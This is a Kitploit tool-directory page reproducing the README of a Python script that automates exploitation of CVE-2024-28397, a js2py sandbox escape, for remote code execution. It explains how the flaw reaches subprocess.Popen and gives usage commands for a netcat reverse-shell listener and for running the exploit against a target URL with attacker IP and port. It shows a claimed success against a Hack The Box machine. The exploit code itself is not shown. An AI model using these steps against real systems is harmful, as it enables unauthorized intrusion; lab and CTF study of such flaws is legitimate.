Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-28397-Exploit-Automation — A Python automation script for exploiting the **js2py Sandbox Escape** vulnerability (CVE-2024-28397). This tool automates the payload generation and delivery process to achieve Remote Code Execution (RCE) on vulnerable instances. | Kitploit
Tools/GitHubGitHub/l1337xi/cve-2024-28397-exploit-automation
Payload GenerationExploitationWeb Application ExploitationCTFLearning & EducationRemote Access Tool
GitHubl1337xi/cve-2024-28397-exploit-automation

CVE-2024-28397-Exploit-Automation

A Python automation script for exploiting the **js2py Sandbox Escape** vulnerability (CVE-2024-28397). This tool automates the payload generation and delivery process to achieve Remote Code Execution (RCE) on vulnerable instances.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
229 months agoNot yet reviewed
Share

CVE-2024-28397 Exploit Automation

A Python automation script for exploiting the js2py Sandbox Escape vulnerability (CVE-2024-28397). This tool automates the payload generation and delivery process to achieve Remote Code Execution (RCE) on vulnerable instances.

⚠️ Legal Disclaimer Usage of this tool for attacking targets without prior mutual consent is illegal. This repository is for educational purposes only. The author is not responsible for any misuse of this information. This tool is intended to be used in authorized security assessments and Capture The Flag (CTF) environments.

🧐 About The Vulnerability

CVE-2024-28397 affects the js2py library (versions < 0.74). The library fails to properly isolate the JavaScript environment from the host Python environment.

  • The Flaw: Improper input sanitization allows access to Python's internal __class__ and __subclasses__ attributes.
  • The Impact: An attacker can traverse the object hierarchy to access subprocess.Popen, allowing for arbitrary command execution on the host server.

🚀 Features

  • Automated Payload Generation: Automatically constructs the JavaScript sandbox escape logic.
  • Base64 Encoding: Handles payload encoding to prevent syntax errors during transmission.
  • Connection Handling: Detects successful shell execution based on request timeouts.
  • Professional Output: Clean CLI interface with status updates.

🛠️ Usage

Prerequisites

root@kitploit:~
pip install requests

Start your Netcat Listener :

root@kitploit:~
nc -lvnp 1337

Run the Script :

root@kitploit:~
python3 exploit.py -u <target url> -i <attacker ip> -p <attacker port>

📸 Proof of Concept

Here is the tool in action against a vulnerable target (Hack The Box - CodeTwo):

1. Execution

Running the exploit to generate the payload and trigger the callback: crop3

2. Success

Receiving the reverse shell on the listener: Reverse Shell Success

  • 📜 Credits

  • Vulnerability Discovery & Core JS Payload: Marven11

  • Automation Script: L1337Xi

  • Collaborators:

    • Leyn4L
    • iamrizwanvp
    • axai457
Download Tool